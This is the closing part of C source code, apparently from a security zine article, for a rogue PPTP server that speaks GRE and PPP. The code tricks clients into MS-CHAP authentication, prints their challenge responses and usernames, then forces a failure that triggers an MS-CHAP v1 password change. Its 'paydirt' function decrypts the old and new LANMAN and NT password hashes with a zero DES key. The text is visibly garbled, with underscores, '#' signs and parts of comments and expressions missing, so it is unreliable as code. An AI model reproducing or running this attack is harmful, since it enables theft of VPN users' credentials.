/* Open IP protocol socket */ rsd = socket(AFINET, SOCKRAW, PPTPPROTO); if (rsd<0) { perror("gre"); exit(1); } srcaddr.sinfamily = AFINET; srcaddr.sinaddr = sa->sinaddr; srcaddr.sin_port = 0;
ifndef BROKENRAWCONNECT
if (connect(rsd, (struct sockaddr *) &srcaddr, sizeof(srcaddr))<0) { perror("gre"); exit(1); }
endif
acksent = ackrecv = seqsent = seqrecv = 0; stat=0;
/* Dispatch loop / while (stat>=0) { / until error happens on s / struct timeval tv = {0, 0}; / non-blocking select */ fd_set rfds; int retval;
n = rsd + 1;
FD_ZERO(&rfds);
FD_SET(rsd, &rfds);
/* if there is a pending ACK, do non-blocking select */
if (ack_sent!=seq_recv)
retval = select(n, &rfds, NULL, NULL, &tv);
else /* otherwise, block until data is available */
retval = select(n, &rfds, NULL, NULL, NULL);
if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
encaps_gre(NULL, 0); /* send ack with no payload */
if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */
stat=decaps_gre(do_ppp);
}
/* Close up when done. */ close(rsd); }
int decapsgre (int (*cb)(void *pack, unsigned len)) { unsigned char buffer[PACKETMAX+64/ip header/]; struct pptpgreheader *header; int status, ip_len=0;
if((status=read(rsd, buffer, sizeof(buffer)))<0) {perror("gre"); exit(1); } /* strip off IP header, if present / if ((buffer[0]&0xF0)==0x40) ip_len = (buffer[0]&0xF)4; header = (struct pptpgreheader *)(buffer+ip_len);
/* verify packet (else discard) /
if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || / version should be 1 /
(ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| / GRE protocol for PPTP /
PPTP_GRE_IS_C(ntoh8(header->flags)) || / flag C should be clear /
PPTP_GRE_IS_R(ntoh8(header->flags)) || / flag R should be clear /
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || / flag K should be set /
((ntoh8(header->flags)&0xF)!=0)) { / routing and recursion ctrl = 0 /
/ if invalid, discard this packet /
printf("Discarding GRE: %X %X %X %X %X %X",
ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
PPTP_GRE_IS_C(ntoh8(header->flags)),
PPTP_GRE_IS_R(ntoh8(header->flags)),
PPTP_GRE_IS_K(ntoh8(header->flags)),
ntoh8(header->flags)&0xF);
return 0;
}
if (PPTP_GRE_IS_A(ntoh8(header->ver))) { / acknowledgement present /
u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
header->ack:header->seq; / ack in different place if S=0 /
if (ack > ack_recv) ack_recv = ack;
/ also handle sequence number wrap-around (we're cool!) /
if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
}
if (PPTP_GRE_IS_S(ntoh8(header->flags))) { / payload present /
unsigned headersize = sizeof(header);
unsigned payloadlen= ntoh16(header->payloadlen);
uint32t seq = ntoh32(header->seq);
if (!PPTPGREISA(ntoh8(header->ver))) headersize-=sizeof(header->ack);
/* check for incomplete packet (length smaller than expected) */
if (status-headersize
return cb(buffer+ip_len+headersize, payload_len);
} else {
printf("discarding out-of-order\n");
return 0; /* discard out-of-order packets */
}
} return 0; /* ack, but no payload */ }
int encapsgre (void *pack, unsigned len) { union { struct pptpgreheader header; unsigned char buffer[PACKETMAX+sizeof(struct pptpgreheader)]; } u; static uint32t seq=0; unsigned header_len; int out;
/* package this up in a GRE shell. */ u.header.flags = hton8 (PPTPGREFLAGK); u.header.ver = hton8 (PPTPGREVER); u.header.protocol = hton16(PPTPGREPROTO); u.header.payloadlen = hton16(len); u.header.callid = hton16(pptpgrecallid);
/* special case ACK with no payload / if (pack==NULL) if (ack_sent != seq_recv) { u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.payload_len = hton16(0); u.header.seq = hton32(seq_recv); / ack is in odd place because S=0 */ acksent = seqrecv;
ifndef BROKENRAWCONNCET
return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
else
return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
(struct sockaddr *) &src_addr, sizeof(src_addr));
endif
} else return 0; /* we don't need to send ACK */
/* send packet with payload / u.header.flags |= hton8(PPTP_GRE_FLAG_S); u.header.seq = hton32(seq); if (ack_sent != seq_recv) { / send ack with this message / u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.ack = hton32(seq_recv); ack_sent = seq_recv; header_len = sizeof(u.header); } else { / don't send ack / header_len = sizeof(u.header) - sizeof(u.header.ack); } if (header_len+len>=sizeof(u.buffer)) return 0; / drop this, it's too big / / copy payload into buffer / memcpy(u.buffer+header_len, pack, len); / record and increment sequence numbers / seq_sent = seq; seq++; / write this baby out to the net */
ifndef BROKENRAWCONNECT
return write(rsd, u.buffer, header_len+len);
else
return sendto(rsd, &u.buffer, headerlen+len, 0, (struct sockaddr *) &srcaddr, sizeof(src_addr));
endif
}
int doppp(void *pack, unsigned len) { struct { struct pppheader ppp; struct ppplcpchap_header header; } *p;
p = pack;
switch(ntoh16(p->ppp.proto)) { case PPPPROTOLCP: switch(ntoh8(p->header.code)) { case PPPLCPCODECONFRQST: printf("<- LCP Configure Request\n"); sendlcpconfrply(pack); sendlcpconfrqst(); break; case PPPLCPCODECONFACK: printf("<- LCP Configure Ack\n"); sendchapchallenge(pack);
break;
case PPP_LCP_CODE_IDENT:
/* ignore */
break;
default:
printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
case PPP_PROTO_CHAP:
switch(ntoh8(p->header.code))
{
case PPP_CHAP_CODE_RESPONCE:
printf("<- CHAP Responce\n");
print_challenge_responce(pack);
send_chap_failure();
break;
case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
paydirt(pack);
break;
default:
printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
default:
printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto));
}
return(1); }
void sendlcpconfrply(void *pack) { struct { struct pppheader ppp; struct ppplcpchap_header lcp; } *p = pack;
printf("-> LCP Configure Ack\n");
p->lcp.code = hton8(PPPLCPCODECONFACK); encapsgre(p, ntoh16(p->lcp.length) + sizeof(struct pppheader)); }
void sendlcpconfrqst() { struct { struct pppheader ppp; struct ppplcpchapheader lcp; struct ppplcpchapauth_option auth; } pkt;
printf("-> LCP Configure Request\n");
bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPPADDRESS); pkt.ppp.control = hton8(PPPCONTROL); pkt.ppp.proto = hton16(PPPPROTOLCP); pkt.lcp.code = hton8(PPPLCPCODECONFRQST); pkt.lcp.ident = hton8(9); pkt.lcp.length = hton16(4 +5); pkt.auth.type = hton8(PPPLCPCONFIGOPTAUTH); pkt.auth.length = hton8(5); pkt.auth.authproto = hton16(PPPPROTOCHAP); pkt.auth.algorithm = hton8(PPPLCPAUTHCHAPALGOMSCHAP);
encaps_gre(&pkt, 13); }
void sendchapchallenge() { struct { struct pppheader ppp; struct ppplcpchapheader chap; struct pppchapchallenge challenge; } pkt;
printf("-> CHAP Challenge\n");
bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPPADDRESS); pkt.ppp.control = hton8(PPPCONTROL); pkt.ppp.proto = hton16(PPPPROTOCHAP); pkt.chap.code = hton8(PPPCHAPCODE_CHALLENGE); pkt.chap.length = hton16(13); pkt.challenge.size = hton8(8);
encaps_gre(&pkt, 4 + 13); }
void printchallengeresponce(void *pack) { unsigned char name[512], *c; int len; struct { struct pppheader ppp; struct ppplcpchapheader chap; struct pppchapchallenge responce; } *p;
p = pack;
c = p->responce.value.responce.lanman; printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); c = p->responce.value.responce.nt; printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); printf(" Use NT hash: %d\n", p->responce.value.responce.flag);
bzero(name, 512); len = ntoh16(p->chap.length) - 54; bcopy(((char *)p) + 4 + 54, name, len); name[len] = '\0'; printf(" User: %s\n", name); }
void sendchapfailure() { struct { struct pppheader ppp; struct ppplcpchapheader chap; char message[64]; } pkt;
printf("-> CHAP Failure\n");
bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPPADDRESS); pkt.ppp.control = hton8(PPPCONTROL); pkt.ppp.proto = hton16(PPPPROTOCHAP); pkt.chap.code = hton8(PPPCHAPCODEFAILURE); pkt.chap.length = hton16(4 + strlen(MSCHAPERROR)); strncpy(pkt.message, MSCHAPERROR, strlen(MSCHAPERROR));
encapsgre(&pkt, 4 + 4 + strlen(MSCHAPERROR)); }
extern int descheckkey;
void paydirt(void *pack) { unsigned char out[8], out2[8], key[8]; struct { struct pppheader ppp; struct ppplcpchapheader chap; struct pppmschapchangepassword passwds; } *pkt; deskey_schedule ks;
pkt = pack; bzero(key, 8);
printf("<- MSCHAP Change Password Version 1 Packet.\n");
/* Turn off checking for weak keys within libdes */ descheckkey=0; dessetoddparity((descblock *)key); dessetkey((des_cblock *)key, ks);
desecbencrypt((descblock *)pkt->passwds.oldlanman,(descblock *) out, ks, 0); desecbencrypt((descblock *)(pkt->passwds.oldlanman + 8), (descblock *)out2, ks, 0); printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
desecbencrypt((descblock *)pkt->passwds.newlanman,(descblock *) out, ks, 0); desecbencrypt((descblock *)(pkt->passwds.newlanman + 8), (descblock *)out2, ks, 0); printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
desecbencrypt((descblock *)pkt->passwds.oldnt,(descblock *) out, ks, 0); desecbencrypt((descblock *)(pkt->passwds.oldnt + 8), (descblock *)out2, ks, 0); printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
desecbencrypt((descblock *)pkt->passwds.newnt,(descblock *) out, ks, 0); desecbencrypt((descblock *)(pkt->passwds.newnt + 8), (descblock *)out2, ks, 0); printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
printf(" New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));
kill(pid, SIGTERM); exit(0); } <-->
----[ EOF